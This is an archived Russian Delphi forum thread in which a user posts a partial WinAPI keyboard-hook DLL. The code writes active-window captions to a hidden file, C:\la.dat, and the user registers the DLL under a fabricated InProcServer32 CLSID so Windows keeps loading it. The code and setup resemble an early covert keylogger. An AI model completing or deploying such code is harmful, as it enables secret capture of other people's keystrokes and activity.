Форум: "WinAPI";
Текущий архив: 2003.09.22;
Скачать: [xml.tar.bz2];
ВнизHook + Dll Найти похожие ветки
← →
bloodman (2003-07-19 03:13) [0]Здравствуйте мастера!В моей программе нужно перехватывать сообщения клавиатуры.Делаю так:
var
KHook: HHOOK;
Wind:HWND;
....
function KProc(Code: integer; wParam: Word; lParam: LongInt): LongInt; stdcall;
const
KState: integer = $40000000;
var
Symb: ShortString;
KL: array [0..8] of Char;
WindCaption: array [0..150] of Char;
FStruct: TOFSTRUCT;
F: TextFile;
begin
if not (Code=HC_ACTION) then
begin
Result:=CallNextHookEx(KHook, code, wParam, lParam);
Exit;
end;
if (lParam and KState) <> 0 then
begin
Result:=CallNextHookEx(KHook, code, wParam, lParam);
Exit;
end;
AssignFile(F,"C:\la.dat");
if OpenFile(PChar("C:\la.dat"), FStruct, OF_EXIST) = HFILE_ERROR then
begin
ReWrite(F);
end
else Append(F);
if Wind <> GetActiveWindow then
begin
Wind:=GetActiveWindow;
GetWindowText(Wind, @WindCaption, 150);
WriteLn(F," [Handle of Hook IS:",KHook,"]");
WriteLn(F, "["," ",WindCaption,"]");
CloseFile(F);
end;
А DLL регистрирую с помощью InProcServer : прописывую в реестре
HCR\CLSID\{00000005-0051-0400-0702-000000010507}\InProcServer32"
ключ с именем dll"ки.
все регистрируется и работает НО не правильно:
Если изменяется ХЕНДЛ активного окна , то DLL"ка запускается заново! Т.е работают уже 2 копии функции и данные дублируются.
Если опять сменится ХЕНДЛ , то запускается еще одна копия и т.д. :((
Как это можно исправить???
Заранее спасибо.
← →
Song (2003-07-19 11:16) [1]Устанавливай хук сам.
← →
bloodman (2003-07-19 14:10) [2]Всмысле сам? Мне нужно, чтобы dll было самостоятельным элементом программы и работала независимо.
← →
nikkie (2003-07-19 16:23) [3]1. hook dll загружается в контекст каждого процесса
2. следовательно просто открывать и писать в файл в dll нехорошо
3. зачем ты пишешь что-то в реестр вообще не понятно.
← →
bloodman (2003-07-20 00:24) [4]1 Понятно.
2 А как ты предлагаешь? (подскажи , если есть идеи плз.)
3 В реестр я пишу для того чтобы система загружала dll в память и обрабатывала хук.
Подскажите плиз .
← →
bloodman (2003-07-21 02:22) [5]А на Win9x вообще ошибку выдает :( МАСТЕРА где же вы???
Страницы: 1 вся ветка
Форум: "WinAPI";
Текущий архив: 2003.09.22;
Скачать: [xml.tar.bz2];
Память: 0.45 MB
Время: 0.01 c